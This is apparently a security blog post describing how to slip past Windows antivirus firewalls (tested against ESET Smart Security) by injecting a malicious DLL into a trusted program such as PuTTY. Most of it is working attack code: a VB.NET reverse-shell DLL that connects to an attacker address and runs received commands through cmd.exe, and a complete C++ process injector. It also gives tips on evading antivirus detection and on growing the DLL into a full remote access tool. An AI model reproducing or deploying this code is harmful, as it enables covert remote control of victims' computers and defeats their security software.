Bypass (Interactive) Firewalls using DLL Injection
In this post I will describe how to use DLL injection to bypass the firewall of various Windows AV solutions. The majority of the typical home-user oriented firewall software determine whether to allow an application to establish remote connections (either inbound or outbound) by several critiria such as whether the application is digitally signed, who is the developer, what it the reputation of the file in the antivirus' rating system database, whether the device is connected to a Home or Public network etc. However, in most cases, only the application itself is checked against these conditions and the loaded (or injected) libraries are ignored. Therefore, when a rule is created that allows an application to establish remote connections, the DLLs that are used by the application inherit the same rules. By using DLL injection an attacker can create a malicious DLL and inject it to another process which is already allowed through the firewall, so as to establish remote connections unhindered. In other words, due to the fact that the firewall does not differrentiate the DLL and the application, it is possbile to gain the same 'firewall privileges' as the target application.
Based on this observation, the idea is to create a malicious DLL (VB.NET) that acts as a reverse shell and use a DLL Injector (C++) to inject it to a legit application such as 'PuTTY' on a system that runs ESET Smart Security with firewall set to interactive mode (of course any other mode will work as long as the target application is allowed through the firewall).
For the DLL I used the code shown below, which is very simple but effective and most importantly undetected:
Imports System.Runtime.InteropServices
Imports RGiesecke.DllExport
Imports System.Net.Sockets
Imports System.Text
Imports System.Threading
Public Module Mod11
Dim ShClient As New Net.Sockets.TcpClient
Dim DataStream As NetworkStream
<DllExport("RemShell")>
Public Sub RemShell()
Try
ShClient.Connect("192.168.71.129", 9990)
Dim RecvThr As New Thread(AddressOf ShRecv)
RecvThr.Start()
Catch ex As Exception : End Try
End Sub
Sub SendData(ByVal msg As String)
Dim SendBytes As Byte()
SendBytes = Encoding.ASCII.GetBytes(msg)
DataStream = ShClient.GetStream
DataStream.Write(SendBytes, 0, SendBytes.Length)
End Sub
Sub ShRecv()
Do
Dim ReceivedText As String = Nothing
Dim ReceiveBytes(1023) As Byte
Dim BytesReceived As Integer
Do
DataStream = ShClient.GetStream
BytesReceived = DataStream.Read(ReceiveBytes, 0, ReceiveBytes.Length)
If Not Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived).EndsWith(vbLf) Then
ReceivedText = ReceivedText & Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived)
Else
Dim temp As String = Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived)
Dim Array() As String = Split(temp, vbLf)
ReceivedText = ReceivedText & Array(0)
CMDOutput(ReceivedText)
Exit Do
End If
Loop
Loop
End Sub
Sub CMDOutput(ByVal cmd As String)
Dim p As New Process()
p.StartInfo.FileName = "cmd.exe"
p.StartInfo.Arguments = "/c " & cmd
p.StartInfo.RedirectStandardError = True
p.StartInfo.RedirectStandardOutput = True
p.EnableRaisingEvents = True
p.StartInfo.CreateNoWindow = True
p.StartInfo.UseShellExecute = False
AddHandler p.ErrorDataReceived, AddressOf proc_OutputDataReceived
AddHandler p.OutputDataReceived, AddressOf proc_OutputDataReceived
Try
p.Start()
p.BeginErrorReadLine()
p.BeginOutputReadLine()
p.WaitForExit()
Catch ex As Exception
SendData("Error: " & ex.Message)
End Try
End Sub
Public Sub proc_OutputDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
SendData(e.Data & vbLf)
End Sub
End Module
Some notes:
You can include any code you wish on the DLL, even implement a whole RAT, however you should avoid mainstream ideas like invoking metasploit shellcodes beacuse the resulting DLL will be detected by the AV and it won't be allowed to run. At this point feel free to try encryption/packing/obfuscation techniques to bypass the AV.
For the next part we have to create the injector. The steps we have to follow in order to perform the DLL injection and invoke a remote function are the following:
Call the 'LoadLibraryA' function from the target process and load our malicious DLL to its address space:
Get the address of the 'LoadLibraryA' function from the injector app itself (it will be the same for the target process)
Allocate a new memory region inside the target process' address space to write the path of our DLL
Write the path of our DLL to the target process' newly allocated memory region. This will be defined later as the argument of the 'LoadLibraryA' function
Call 'LoadLibraryA' from the target process
Calculate the offset between the base of the DLL and the exported function and use 'CreateRemoteThread' to call it on the target process:
Get the base address of the injected DLL in the target process
Load the DLL in the injector app itself
Use 'GetProcAddress' to get the address of the exported function (in our case 'RemShell') from the injector app
Calculate the offset of the function from the base of the DLL
Add this offset to the base of the injected DLL we got earlier
Use 'CreateRemoteThread' on this address on the target application
The code of the injector can be seen below:
#include <iostream>
#include <stdio.h>
#include <string>
#include <windows.h>
#include <cassert>
LPVOID GetPayloadExportAddr(LPCWSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName) {
// Load the DLL in the virtual address space of this injector
HMODULE hLoaded = LoadLibrary(lpPath);
if (hLoaded == NULL) {
return NULL;
}
else {
// Use 'GetProcAddress' to get the address of the exported function (in our case RemShell)
LPVOID lpFunc = (LPVOID)GetProcAddress(hLoaded, lpFunctionName);
// Calculate the offset of the exported function from the base of the DLL
DWORD dwOffset = (char*)lpFunc - (char*)hLoaded;
FreeLibrary(hLoaded);
// Add this offset to the base of the injected DLL we got earlier
LPVOID final = LPVOID((DWORD)hPayloadBase + dwOffset);
return final;
}
}
BOOL InitPayload(HANDLE hProcess, LPCWSTR lpPath, HMODULE hPayloadBase, HWND hwndDlg) {
LPVOID lpInit = GetPayloadExportAddr(lpPath, hPayloadBase, "RemShell");
if (lpInit == NULL) {
return FALSE;
}
else {
// Use 'CreateRemoteThread' on the calculated address on the target application
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpInit, hwndDlg, 0, NULL);
if (hThread == NULL) {
return FALSE;
}
else {
CloseHandle(hThread);
}
}
return TRUE;
}
int main(int argc, char* argv[]) {
// Start 'PuTTY' and get the PID based on the window title
system("start C:\\Users\\john\\Desktop\\putty.exe");
Sleep(2000);
LPCWSTR windowName = L"PuTTY Configuration";
HWND windowHandle = FindWindowW(NULL, windowName);
DWORD* processID = new DWORD;
GetWindowThreadProcessId(windowHandle, processID);
std::wcout << L"Process ID of " << windowName << L" is: " << *processID << std::endl;
if (processID != 0) {
// Path of the target DLL to be injected
const char* buffer = "C:\\Users\\john\\Desktop\\VBDLL\\VBDLL\\bin\\x86\\Release\\VBDLL.dll";
int procID = *processID;
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (process == NULL) {
printf("Couldn't find the specified process\n");
exit(EXIT_FAILURE);
}
// Get the address of the 'LoadLibraryA' function from this injector app (it will be the same for the target process)
LPVOID addr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (addr == NULL) {
printf("Couldn't find the LoadLibraryA function\n");
exit(EXIT_FAILURE);
}
// Allocate a new memory region inside the target process' address space to write the path of our DLL
LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (arg == NULL) {
printf("Couldn't allocate memory inside the chosen process\n");
exit(EXIT_FAILURE);
}
// Write the path of our DLL to the target process' newly allocated memory region
// This will be defined later as the argument of the LoadLibraryA function
int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL);
if (n == 0) {
printf("Couldn't write to the target process' address space\n");
exit(EXIT_FAILURE);
}
// Call 'LoadLibraryA' from the target process to force load our DLL
HANDLE hThread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL);
if (hThread == NULL) {
printf("Couldn't create the remote thread\n");
exit(EXIT_FAILURE);
}
// hInjected is the base address of the injected DLL
HMODULE hInjected;
if (hThread != 0) {
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (LPDWORD)&hInjected);
CloseHandle(hThread);
BOOL test = InitPayload(process, L"C:\\Users\\john\\Desktop\\VBDLL\\VBDLL\\bin\\x86\\Release\\VBDLL.dll", hInjected, NULL);
}
else {
exit(EXIT_FAILURE);
}
getchar();
CloseHandle(process);
return 0;
}
}
Some notes:
In the injector we can also implement any additonal features we want, such as to search for applications that will most likely be allowed to access the internet, check which AV is run, compile the DLL dynamically etc.
IF you want to call a specific DLL function, like in this example, the above code works only for 32-bit. If you want to target a 64-bit application you cannot use a specific exported DLL function, but you can place your code in DLLMain and it will be executed after the remote call to 'LoadLibraryA'.
In essence for the injection to take place all we need is a target process, so if the target application is not already running we can simply launch a hidden instance.
Let's test it in action:
First start a listening netcat server:
Then start the injector application, which will start 'PuTTY' and inject the DLL:
As you can see the DLL is injected and the firewall, which is set to interactive mode, asks whether to allow 'PuTTY' to connect or not. Supossing that the victim has already used the target application once and that it has a rule which allows outbound connections, the reverse shell would be established without warning at all.
Back on the attacker's system we have a reverse shell:
Last updated
We have to install the nuget package by Robert Giesecke (also have to install .NET Framework 3.5 and MS Build Tools 2015) in order export the DLL's function natively so it can be used by the injector: